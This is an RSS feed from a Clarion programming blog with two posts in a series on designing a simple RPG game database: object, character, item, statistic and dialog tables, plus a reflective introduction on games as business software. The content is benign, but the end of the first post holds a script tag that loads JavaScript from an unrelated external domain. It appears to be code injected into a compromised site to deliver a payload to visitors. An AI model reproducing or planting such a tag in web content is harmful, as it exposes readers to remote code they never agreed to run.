<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Clarion Folk &#187; A Simple RPG</title>
	<atom:link href="http://clarionfolk.com/category/clarion-games/a-simple-rpg/feed/" rel="self" type="application/rss+xml" />
	<link>http://clarionfolk.com</link>
	<description>Making Development Better Than Eating Icecream</description>
	<lastBuildDate>Fri, 23 Apr 2010 04:18:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>2. What Does An RPG (Game) Database Look Like?</title>
		<link>http://clarionfolk.com/2008/09/03/what-does-an-rpg-game-database-look-like/</link>
		<comments>http://clarionfolk.com/2008/09/03/what-does-an-rpg-game-database-look-like/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 20:00:10 +0000</pubDate>
		<dc:creator>Stu</dc:creator>
				<category><![CDATA[A Simple RPG]]></category>
		<category><![CDATA[Clarion & Games]]></category>
		<category><![CDATA[Evangelising Clarion]]></category>
		<category><![CDATA[database design]]></category>
		<category><![CDATA[game development]]></category>
		<category><![CDATA[role playing game]]></category>
		<category><![CDATA[staff of roast chicken cooking]]></category>

		<guid isPermaLink="false">http://clarionfolk.com/2008/09/03/what-does-an-rpg-game-database-look-like/</guid>
		<description><![CDATA[Previous Posts:
1. Introduction (Clarion &#38; A Game Database)

&#160;
Answer: Pretty much anything.
&#160;
Like business applications, every RPG Game (Focusing on that particular genre) will have a different Database. Design, Technology, Feedback .. They all affect a Database.
&#160;
This Database is simple, and quite incomplete. 
&#160;
Remember, the goal of this series is not to create a fully realised RPG [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Previous Posts:</p>
<p><a href="http://clarionfolk.com/2008/08/18/1-introduction-clarion-a-game-database/" target="_blank">1. Introduction (Clarion &amp; A Game Database)</a></p>
</blockquote>
<p>&nbsp;</p>
<p><strong>Answer:</strong> Pretty much anything.</p>
<p>&nbsp;</p>
<p>Like business applications, every RPG Game (Focusing on that particular genre) will have a different Database. Design, Technology, Feedback .. They all affect a Database.</p>
<p>&nbsp;</p>
<p>This Database is simple, and quite incomplete. </p>
<p>&nbsp;</p>
<blockquote><p>Remember, the goal of this series is not to create a fully realised RPG Database. It&#8217;s to show how Clarion can be used in creating a Backend Administration app for said database.</p>
</blockquote>
<p>&nbsp;</p>
<p><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="400" alt="rpgdb-001" src="http://clarionfolk.com/wp-content/uploads/2008/09/rpgdb-001.png" width="510" border="0"> </p>
<p>(<a href="http://www.gliffy.com/publish/1483827/" target="_blank">Gliffy link</a>)</p>
<p><strong></strong>&nbsp;</p>
<p><strong>Design Decisions (Random Intro Points):</strong></p>
<ul>
<li>A <strong>Class</strong> system for Players (and other Characters) would be implemented. One <strong>Class</strong> for one <strong>Character</strong>.
<li>A <strong>Character</strong> can be Player or Non-Player.
<li>The <strong>Object</strong> table is pretty much the center of this Database.
<li>Character, Animal, Building, Vehicle and Item are all &#8220;Children&#8221; tables to the Object.
<li>DialogItem is also a child table, but it&#8217;s special. Get to that later.</li>
</ul>
<p>Let&#8217;s start breaking up this puppy.</p>
<p>&nbsp;</p>
<p><strong>Object</strong></p>
<table cellspacing="2" cellpadding="2" width="300" border="1">
<tbody>
<tr>
<td valign="top" width="112"><strong><font color="#468966">Object</font></strong></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ParentType</font></td>
<td valign="top" width="180"><font color="#808080">&#8220;Area&#8221;, &#8220;Character&#8221;, ..</font></td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ParentID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">Position</font></td>
<td valign="top" width="180"><font color="#808080">Context on <em>ParentType</em></font></td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">Weight</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>As mentioned, it&#8217;s the center. The sun. Around which the rest of the Game revolves.</p>
<p>The Object contains physical characteristics, models, meshes (in Child tables, not in the db above). Most of these integrate with the technical aspects of the Engine. I decided it was outside the scope of this discussion. Oh, also, I wasn&#8217;t smart enough to figure it out.</p>
<p>Of major importance is that an Object represents the physical instance of the Entity. </p>
<blockquote><p><font color="#333333">Of course, not all Objects are going to be in the Database. Some of them, probably a lot depending on game design, will be generated in-game.</font></p>
</blockquote>
<p>The <em>ParentType</em> field links to what &#8220;Parent&#8221; it is under. Which is either the Character (Bags, Items in Character Slots) or Area.</p>
<p>Let&#8217;s take a look at the Area.</p>
<p>&nbsp;</p>
<p><strong>Area</strong></p>
<table cellspacing="2" cellpadding="2" width="300" border="1">
<tbody>
<tr>
<td valign="top" width="112"><strong><font color="#468966">Area</font></strong></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">Name</font></td>
<td valign="top" width="180"><font color="#808080"></font></td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">Description</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Imagine your favourite RPG. When you start the game, you start <em>somewhere</em>. This is, in our particular game, the Area. It&#8217;s a village; surrounding countryside; cave with evil goblins; cave with misunderstood goblins.</p>
<p>At the moment, it&#8217;s just that. A record that is parent to a bunch of Objects. Of course, you&#8217;d need size measurements for the Area. You&#8217;d need to know boundaries. </p>
<p>This game <em>could</em> have a big persistent world, full of many Areas, or Nodes. That&#8217;s up to the Engine. </p>
<p>&nbsp;</p>
<p><strong>Profile (Not Used)</strong></p>
<table cellspacing="2" cellpadding="2" width="300" border="1">
<tbody>
<tr>
<td valign="top" width="112"><strong><font color="#468966">Profile</font></strong></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">Name</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>The Profile table allows the Engine to know that you are &#8220;Stu Andrews&#8221; and that you have four &#8220;Player&#8221; Character records (attached to the Profile record).</p>
<p>A Barbarian Scholar, a Guitar Bard, and two Monkey Ninjas. They are all at different Levels, and they are all at different stages within the Game.</p>
<p>Obviously we don&#8217;t have the Profile table in the Backend Database. Unless we were going to have a default Profile record, which we&#8217;re not.</p>
<p>&nbsp;</p>
<p><strong>Player (Not Used)</strong></p>
<table cellspacing="2" cellpadding="2" width="300" border="1">
<tbody>
<tr>
<td valign="top" width="112"><strong><font color="#468966">Player</font></strong></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ProfileID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">CharacterID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Quite an important table. I guess if you don&#8217;t have this one, the game is just a simulation.</p>
<p>The <em>ProfileID</em> field is what links the Player records to your Profile record in the Game.</p>
<p>Via the <em>CharacterID</em> field, this table tells the Engine which Character records are not controlled by it&#8217;s own Character Logic.</p>
<p>Obviously we don&#8217;t have the Player table in the Backend Database. Unless we were going to have a few Pre-Created Player records, which we&#8217;re not.</p>
<p>&nbsp;</p>
<p><strong>Character</strong></p>
<table cellspacing="2" cellpadding="2" width="300" border="1">
<tbody>
<tr>
<td valign="top" width="112"><strong><font color="#468966">Character</font></strong></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ObjectID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ClassID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">FactionID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>The Character table has the most interaction within the Database after the Object. It&#8217;s what you will be dealing with when playing the Game (kind of).</p>
<p>A Character could be the Innkeeper. It could be You, or your mate &#8220;KillrAwesome&#8221;. It could be the Dragon at the end of the Golden Bricked Road.</p>
<p>All the technical aspects that the Engine needs to know about are found in the Character&#8217;s Object record. </p>
<p>What the Character has is Context. Character records can have Item records attached to them, via the Equipped table. They can have Stats, like Strength, Courage, Snoozing Skill, via the Statistic table. And Character records have DialogHistory, which tracks their Conversations. I deliberately didn&#8217;t link the DialogHistory to the Object table.</p>
<p>That is, we only record the History of the Character. Sure, any Object can have a Conversation with another Object, but I decided against recording all of these. Only the Character records have DialogHistory records. Actually, only Player Characters have DialogHistory records. Let&#8217;s not stress the Engine out too much.</p>
<p>The Character has a Class record and a Faction record. </p>
<p>It would be cool to have multiple Classes for a Character, mix and match them, but I haven&#8217;t had the time to work that out. From a Design point of view, and to try and understand how the Engine would do it.</p>
<p>Also, multiple Factions would be very cool (ala WoW), but for the moment, a Character can only have one Faction. </p>
<p>Of course, it&#8217;s pretty easy to change that. We have a CharacterFaction table to link them, and remove the FactionID in the Character table.</p>
<p>&nbsp;</p>
<p><strong>Faction</strong></p>
<table cellspacing="2" cellpadding="2" width="300" border="1">
<tbody>
<tr>
<td valign="top" width="112"><strong><font color="#468966">Faction</font></strong></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">Name</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Faction records are what helps the Engine to figure out Action Context. Is the Character that the mouse is hovering above a Friend or Foe? </p>
<p>&nbsp;</p>
<p><strong>Class</strong></p>
<table cellspacing="2" cellpadding="2" width="300" border="1">
<tbody>
<tr>
<td valign="top" width="112"><strong><font color="#468966">Class</font></strong></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">ID</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="112"><font color="#468966">Name</font></td>
<td valign="top" width="180">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Well, we pretty much know what this is. This is where you set up the Barbarian Class, with Statistic records like STRENGTH = 25, AGILITY = 20, INTELLGENCE = 40. Right? Who says BarBar&#8217;s have to be dumb.</p>
<p>&nbsp;</p>
<p><strong>Item</strong></p>
<table cellspacing="2" cellpadding="2" width="350" border="1">
<tbody>
<tr>
<td valign="top" width="113"><strong><font color="#468966">Item</font></strong></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ObjectID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">Type</font></td>
<td valign="top" width="229"><font color="#808080">&#8220;Weapon&#8221;, &#8220;Armor&#8221;, &#8220;Container&#8221;</font></td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">SubType</font></td>
<td valign="top" width="229"><font color="#808080">&#8220;Sword&#8221;, &#8220;Shield&#8221;, &#8220;Wand&#8221;, &#8220;Chest&#8221;</font></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>The Item table is an obvious inclusion. Phat Loot. Plus, so much more. </p>
<p>It&#8217;s worth noting that an Item record can have a bunch of Statistic records attached. This allows you to give a Wand &#8220;+5 Fire Damage&#8221; in addition to &#8220;10 Damage&#8221;. It means a Shield could have &#8220;+10 Normal Armor&#8221;. </p>
<p>&nbsp;</p>
<p><strong>Statistic</strong></p>
<table cellspacing="2" cellpadding="2" width="350" border="1">
<tbody>
<tr>
<td valign="top" width="113"><strong><font color="#468966">Statistic</font></strong></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ParentType</font></td>
<td valign="top" width="229"><font color="#808080">&#8220;Item&#8221;, &#8220;Character&#8221;, &#8220;Class&#8221;</font></td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ParentID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">Type</font></td>
<td valign="top" width="229"><font color="#808080">&#8220;Skill&#8221;, &#8220;Attribute&#8221;</font></td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">SubType</font></td>
<td valign="top" width="229"><font color="#808080">&#8220;Base&#8221;, &#8220;Add&#8221;, &#8220;Subtract&#8221;</font></td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">Value</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>This one wasn&#8217;t so straight-forward for me. </p>
<p>It was easy to figure out the parent attachments. Character. Item. Class. </p>
<p>Where things get difficult is visualising how the Engine is going to parse the Type/SubType/Value information. </p>
<p>Originally I just had Type and Value. But how do you tell the Engine that this Sword gives a +10 to the &#8220;Strength Of A Bear&#8221; Skill? And how do you give a Character, or a Class, the &#8220;Strength Of A Bear&#8221; Skill itself?</p>
<p>So the <em>SubType</em> field was introduced. I think it works. But you can probably make it better.</p>
<p>&nbsp;</p>
<p><strong>Animal, Building, Vehicle</strong></p>
<table cellspacing="2" cellpadding="2" width="350" border="1">
<tbody>
<tr>
<td valign="top" width="113"><strong><font color="#468966">&lt;Name&gt;</font></strong></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ObjectID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Decided to lump the three of them together. Each of them are linked to the Object table. It&#8217;s just up the Engine to know what to do with them. </p>
<p>That is, what Pathing AI does this Sheep (Animal) have? What about this Cart, what will happen when it hits the Sheep (the Sheep will win, because Sheep have Wool, and Wool in this world is made of Adamantium, thus Sheep are Wolverine clones and conquer all). Ahem.</p>
<p>The Animal table is linked to the Equipped table. I suppose that, if the Engine allows you to destruct (or kill) Vehicles and Buildings that you could attach it to them also. </p>
<p>But specifically I was thinking about when a Player might shoot a Deer and want to skin it. </p>
<p>&nbsp;</p>
<p><strong>Equipped</strong></p>
<table cellspacing="2" cellpadding="2" width="350" border="1">
<tbody>
<tr>
<td valign="top" width="113"><strong><font color="#468966">Equipped</font></strong></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ParentType</font></td>
<td valign="top" width="229"><font color="#808080">&#8220;Character&#8221;, &#8220;Animal&#8221;, ..</font></td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ParentID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">Type</font></td>
<td valign="top" width="229"><font color="#808080">&#8220;Finger&#8221;, &#8220;Head&#8221;, &#8220;Eye&#8221;, &#8220;Belt&#8221;, ..</font></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>This is where we put Item records on Characters (and other tables). </p>
<p>I imagine the Equipped table would be mostly filled in-game. So the Engine would create stuff for those Orcs over there at some stage, based on some game rules. Or you could hand-plant it all. Shudder.</p>
<p>However, especially for Player Character records, you would need to store these records. Also, for Characters with unique items.</p>
<p>&nbsp;</p>
<p><strong>DialogRoot</strong></p>
<table cellspacing="2" cellpadding="2" width="350" border="1">
<tbody>
<tr>
<td valign="top" width="113"><strong><font color="#468966">Equipped</font></strong></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ParentType</font></td>
<td valign="top" width="229"><font color="#808080">&#8220;Object&#8221;, &#8220;Area&#8221;</font></td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ParentID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">Type</font></td>
<td valign="top" width="229"><font color="#808080">&#8220;Quest&#8221;, &#8220;Conversation&#8221;, ..</font></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Okay, heading down the straight.</p>
<p>Dialog is a big deal. It&#8217;s far harder than I imagined, although some folk have obviously got it worked out.</p>
<p>Dialog is what an Object will Communicate. A Conversation is what two Objects have between each other, exchanging Dialog.</p>
<p>With that in mind, we have these structures. DialogRoot, DialogItem, DialogItemReq and DialogHistory.</p>
<p>The <em>Type</em> field of the DialogRoot table basically says to the Engine &#8220;This is a Quest Dialog&#8221;. The Engine then knows what to do in that context. At the moment I&#8217;ve only come up with the two Types (&#8220;Quest&#8221; and &#8220;Conversation), but there are no doubt more.</p>
<p>Instead of giving an ObjectID in the DialogRoot table, we have the Parent fields. </p>
<p>You want to be able to assign specific Dialog to a Quest-Giver, for example, but you also want the BarKeep to pull out some Dialog from a general Pool. So we have &#8220;Object&#8221; or &#8220;Area&#8221; as the parent, Area obviously being for the general pool. </p>
<p>&nbsp;</p>
<p><strong>DialogItem</strong></p>
<table cellspacing="2" cellpadding="2" width="399" border="1">
<tbody>
<tr>
<td valign="top" width="106"><strong><font color="#468966">DialogItem</font></strong></td>
<td valign="top" width="285">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="106"><font color="#468966">ID</font></td>
<td valign="top" width="285">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="106"><font color="#468966">DialogRootID</font></td>
<td valign="top" width="285">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="106"><font color="#468966">ParentItemID</font></td>
<td valign="top" width="285"><font color="#808080">For the chaining together of Dialog Items.</font></td>
</tr>
<tr>
<td valign="top" width="106"><font color="#468966">Primary</font></td>
<td valign="top" width="285"><font color="#808080">So that you can have one Item in the Chain as a Primary.</font></td>
</tr>
<tr>
<td valign="top" width="106"><font color="#468966">ObjectID</font></td>
<td valign="top" width="285">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="106"><font color="#468966">Action</font></td>
<td valign="top" width="285"><font color="#808080">&#8220;Shop&#8221;, &#8220;Request One&#8221;, &#8220;Request All&#8221;, &#8220;Give One&#8221;, &#8220;Give All&#8221;</font></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>This is what the Player will interact with a fair bit. </p>
<p>&#8220;Hi there Xena! Would you like to see the hundreds of Weapons I somehow store about my person?&#8221;</p>
<p>That&#8217;s a DialogItem. It&#8217;s DialogRoot parent would be of Type=&#8221;Conversation&#8221;.</p>
<p>The <em>ParentItemID</em> field is so that a single Object can have more than a single Dialog Conversation with you.</p>
<p>This is especially important in Quest Dialogs. Most Quests will have at least two DialogItems records. After all, the Quest has be given and then completed. </p>
<p>An instance where this isn&#8217;t the case is where one Object gives the Quest and a different Object accepts the completion of the Quest.</p>
<p>The <em>Primary</em> field is a nifty little BYTE that tells the Engine to return to this DialogItem when, for example, the Player returns to the Innkeeper. It might not neccessarily be the first DialogItem record in order. You might want to have the initial Conversation start with &#8220;My you are one ugly warrior&#8221;, but then whenever the Player initiates Conversation with them, the Innkeeper would use a different DialogItem record. Something like &#8220;We serve Beer and Roast Beef. Also, we have&nbsp; Beer.&#8221; would be more appropriate.</p>
<p>The <em>ObjectID</em> field allows the Engine to put together Quests that span a bunch of Objects. Like a Scroll which initiates a Quest that has to talk to Mrs. MyHusbandIsMissing, then head out and find the Husband, talk to him, bring him back and then talk to Mrs. MyHusbandIsMissing to complete the Quest.</p>
<p>Finally, the &#8220;Action&#8221; field allows the Engine to know this is a Question, and if the Object having the Conversation gives Success (a &#8220;Yes&#8221; usually), then the Action is started.</p>
<p>For example,&nbsp; Xena walks up the Weapon Merchant, who asks the question above. It is of Action=&#8221;Shop&#8221;, so the Engine knows a) This is a question, so stick up &#8220;Yes&#8221; and &#8220;No&#8221;, and b) if &#8220;Yes&#8221; then open up the Shop interface.</p>
<p>&nbsp;</p>
<p><strong>DialogItemReq</strong></p>
<table cellspacing="2" cellpadding="2" width="350" border="1">
<tbody>
<tr>
<td valign="top" width="113"><strong><font color="#468966">DialogItemReq</font></strong></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">DialogRootID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">DialogItemID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ObjectID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>This table is how the Quests fit together. </p>
<p>If you have a Quest where the Player must find &#8220;The Staff Of Roast Chicken Cooking&#8221; and return it, the following would need to be entered:</p>
<ul>
<li>The DialogItem record for the completion of the Quest would need an Action &#8220;Request&#8221;.
<li>There would be only one DialogItemReq record. It would point to the Object record for the above Item.
<li>Further, you would need a child DialogItem record for the giving of the Quest Rewards. This would be of Action=&#8221;Give One&#8221; or =&#8221;Give All&#8221;, and have any number of DialogItemReq child records.
<li>If the Action=&#8221;Give One&#8221;, then the Engine asks the Player which of the linked Objects (through the DialogItemReq) they would like.
<li>If the Action=&#8221;Give All&#8221;, then the Player gets them all.</li>
</ul>
<p>We link to an Object, because sometimes a Quest might want more than an Item. It might want an Animal. It could want another Character.</p>
<p>And more, the Quest reward might be the choice between two Characters, or it might be to give you a Black, Red and Golden Dragon.</p>
<p>&nbsp;</p>
<p><strong>DialogHistory</strong></p>
<table cellspacing="2" cellpadding="2" width="350" border="1">
<tbody>
<tr>
<td valign="top" width="113"><strong><font color="#468966">DialogHistory</font></strong></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">ID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">DialogRootID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">DialogItemID</font></td>
<td valign="top" width="229">&nbsp;</td>
</tr>
<tr>
<td valign="top" width="113"><font color="#468966">CharacterID</font></td>
<td valign="top" width="229"><font color="#808080"></font></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>This table tracks all the Conversations that a Character has. As mentioned above, for our purpose in this Series, we only care about the Player.</p>
<p>The DialogHistory table is a record of where the Player is in the Game. How far along the Main Quest are they? Did they solve that riddle about the Ten Sphinxes and a Muskrat? How many Trees of Ironwood have they chopped down?</p>
<p>&nbsp;</p>
<p align="center"><strong>CONCLUSION:</strong></p>
<p>Phew! </p>
<p>If you managed to get through it all, you&#8217;ll see I barely scratched the surface of an RPG Database. Really, we only skimmed. </p>
<p>What is important is that we now have a simple framework with which to progress to the most important part of this Series. Clarion!</p>
<p>&nbsp;</p>
<p>Until the next post (number three if my internal incrementor is working), Fare Thee Well, and May Your Mead Be Always Frothy!</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://clarionfolk.com/2008/09/03/what-does-an-rpg-game-database-look-like/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>1. Introduction (Clarion &amp; A Game Database)</title>
		<link>http://clarionfolk.com/2008/08/18/1-introduction-clarion-a-game-database/</link>
		<comments>http://clarionfolk.com/2008/08/18/1-introduction-clarion-a-game-database/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 20:00:56 +0000</pubDate>
		<dc:creator>Stu</dc:creator>
				<category><![CDATA[A Simple RPG]]></category>
		<category><![CDATA[Clarion & Games]]></category>
		<category><![CDATA[Evangelising Clarion]]></category>
		<category><![CDATA[abstraction reality]]></category>
		<category><![CDATA[angband]]></category>
		<category><![CDATA[backend administration]]></category>
		<category><![CDATA[bard's tale]]></category>
		<category><![CDATA[bioware]]></category>
		<category><![CDATA[business software]]></category>
		<category><![CDATA[clarion]]></category>
		<category><![CDATA[computer games]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[desktop programming]]></category>
		<category><![CDATA[diablo]]></category>
		<category><![CDATA[game development]]></category>
		<category><![CDATA[half life 2]]></category>
		<category><![CDATA[morrowind]]></category>
		<category><![CDATA[nethack]]></category>
		<category><![CDATA[oblivion]]></category>
		<category><![CDATA[role playing games]]></category>
		<category><![CDATA[rpg]]></category>
		<category><![CDATA[software development]]></category>
		<category><![CDATA[structures]]></category>
		<category><![CDATA[user interface]]></category>
		<category><![CDATA[world of warcraft]]></category>

		<guid isPermaLink="false">http://clarionfolk.com/2008/08/18/1-introduction-clarion-a-game-database/</guid>
		<description><![CDATA[A Computer Game is Business Software. 
&#160;
A Computer Game is a system provided for the solving of a problem and the filling of a need.
&#160;
Okay. It&#8217;s pretty obvious, so I&#8217;m not trying to be clever with those statements. Simple and clear. 
&#160;
However, most Computer Games are as far from Business Software as you can get [...]]]></description>
			<content:encoded><![CDATA[<p>A Computer Game is Business Software. </p>
<p>&nbsp;</p>
<p>A Computer Game is a system provided for the solving of a problem and the filling of a need.</p>
<p>&nbsp;</p>
<p>Okay. It&#8217;s pretty obvious, so I&#8217;m not trying to be clever with those statements. Simple and clear. </p>
<p>&nbsp;</p>
<p>However, <em>most</em> Computer Games are as far from Business Software as you can get staring into this rectangular magic looking glass view .. thingy.</p>
<p>&nbsp;</p>
<p>Business Software has an interface which is very close to the database. Sure, we move from exact data representation on a form to transforming the data into a better User experience .. Browses and Tabs and Drop Down Lists are just the beginning. You&#8217;ve got Task Panels and Drag&#8217;N'Drop. You&#8217;ve got twenty billion Google Engineers slaving away on ease of Business Interface.</p>
<p>&nbsp;</p>
<p>But it&#8217;s still <em>close</em> to the Database. And that&#8217;s fine.</p>
<p>&nbsp;</p>
<p>The Game Interface is about as far away from the database as we can manage today.</p>
<p><span id="more-138"></span></p>
<p>&nbsp;</p>
<p>Let&#8217;s backtrack a bit. The year is .. whatever year it was <a href="http://en.wikipedia.org/wiki/The_Bard%27s_Tale_(1985)" target="_blank">Bard&#8217;s Tale</a> came out (1985). You had a couple of Window Frames, one being the main interface into the world. It was decidedly <em>square</em>. Of course, you had bit-pictures of monsters and blacksmiths which enabled our brains to imagine.</p>
<p>&nbsp;</p>
<p>But still, it was a game. You couldn&#8217;t mistake it for an application which drove your boss&#8217;s Turbine Engine Simulation for Aeronautical Nerds.</p>
<p>&nbsp;</p>
<blockquote><p>Please substitute a bunch of games in here that expanded the Gaming Interface. Wolfenstein. Doom. Quake. Half-Life. </p>
<p>I&#8217;m going RPG here. It&#8217;s not a technical history article. It&#8217;s a opinion article based on the point I&#8217;m trying to get across.</p>
</blockquote>
<p>&nbsp;</p>
<p>Then along came <a href="http://en.wikipedia.org/wiki/Diablo_(video_game)" target="_blank">Diablo</a> (1997), and the interface jumped away. No longer was it NetHack and Angband with ascii characters. This was pure awesome. It transported things far beyond the business computer screen. Into a fantastical place where swords and scrolls dropped from scaly creatures whom you had just slain with spells of lightning and fire, with weapons of chaos and mayhem.</p>
<p>&nbsp;</p>
<p>More games come every year which give us further .. Abstraction Reality, and less Actual Reality. <a href="http://en.wikipedia.org/wiki/Morrowind" target="_blank">Morrowind</a> and then <a href="http://en.wikipedia.org/wiki/The_Elder_Scrolls_IV:_Oblivion" target="_blank">Oblivion</a> for the RPG people. Let&#8217;s not forget the <a href="http://en.wikipedia.org/wiki/Bioware" target="_blank">Bioware</a> epics. Also a little game called <a href="http://en.wikipedia.org/wiki/Half-life_2" target="_blank">Half-Life 2</a>. And have you played <a href="http://en.wikipedia.org/wiki/World_of_warcraft" target="_blank">WoW</a> with some of the powerful and amazing UI Mods? Etc etc, blah blah blah. You&#8217;ve already thought of ten or twenty or a hundred other games.</p>
<p>&nbsp;</p>
<p>Abstraction Reality is Developers giving us what we <em>see</em>, which is not what <em>is</em>. As we know, behind the evolving of the Game Interface are ones and zeros. Data. Tables and Structures and .. well, the stuff of true magic :). This is the Actual Reality.</p>
<p>&nbsp;</p>
<p>From a Database-Modelling-Developer-Application-Person point of view, what separates the Computer Game from the Business Sofware is ..</p>
